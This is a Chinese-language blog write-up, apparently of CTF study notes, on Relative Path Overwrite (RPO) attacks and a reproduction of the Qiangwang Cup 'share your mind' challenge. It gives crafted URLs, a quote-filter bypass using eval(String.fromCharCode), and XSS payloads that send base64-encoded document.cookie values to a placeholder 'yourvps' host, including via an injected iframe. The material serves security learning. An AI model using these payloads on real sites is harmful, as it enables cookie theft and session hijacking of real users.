rpo学习

原理:相对路径覆盖
Ex.简单引用其他目录下的js
1.php

<?php
 echo "alert(1)";
?>
<script src="alert.js"></script>
image.png

目标js:


image.png

payload:

http://127.0.0.1/rpo/222%2f1.php%2f..%2f..%2f1%2f1.php

正常情况下:

image.png

成功引用:
image.png

payload分析:
服务器端会将payload解析为http://127.0.0.1/rpo/222/1.php/../../1/1.php
最终url还是指向http://127.0.0.1/rpo/1/1.php
而客户端会将payload中的{222%2f1.php%2f..%2f..%2f1%2f1.php}当成一个字符串处理,相当于访问http://127.0.0.1/rpo/string 而服务器返回的信息中1.php的引用js代码为{<script src="alert.js"></script>}即1.php同目录下的alert.js ,但客户端理解为string同目录下的alert.js即{alert(2)}.
2.跟着writeup 的 强网杯 share your mind 复现

查看源代码:


1

留言:


2

构造payload:
http://39.107.33.96:20000/index.php/view/article/2298/..%2f..%2f..%2f..%2findex.php

why?
由图一可知index.php会引用同级的static/js/jquery.min.js
而我们构造的payload相当于引用http://39.107.33.96:20000/index.php/view/article/2298/static/js/jquery.min.js
可知static/js/jquery.min.js不存在,浏览器会认为http://39.107.33.96:20000/index.php/view/article/2298的内容为static/js/jquery.min.js文件的内容即{alert(1)}
成功引用:

image.png

剩下的就是提交url等着vps接收cookie了
留言:

b=document.cookie;a="<img src=yourvps"+btoa(b)+">";document.write(a);

其中单引号和双引号会被html编码
所以用eval(String.fromCharCode(97))绕过


image.png

收到cookie base64解码:HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
payload:

var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
  var content = i.contentWindow.document.cookie;
  location='//yourvps/'+btoa(content);
}, false);
image.png

解码:


image.png

总结:
rpo真是思路清奇啊!

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容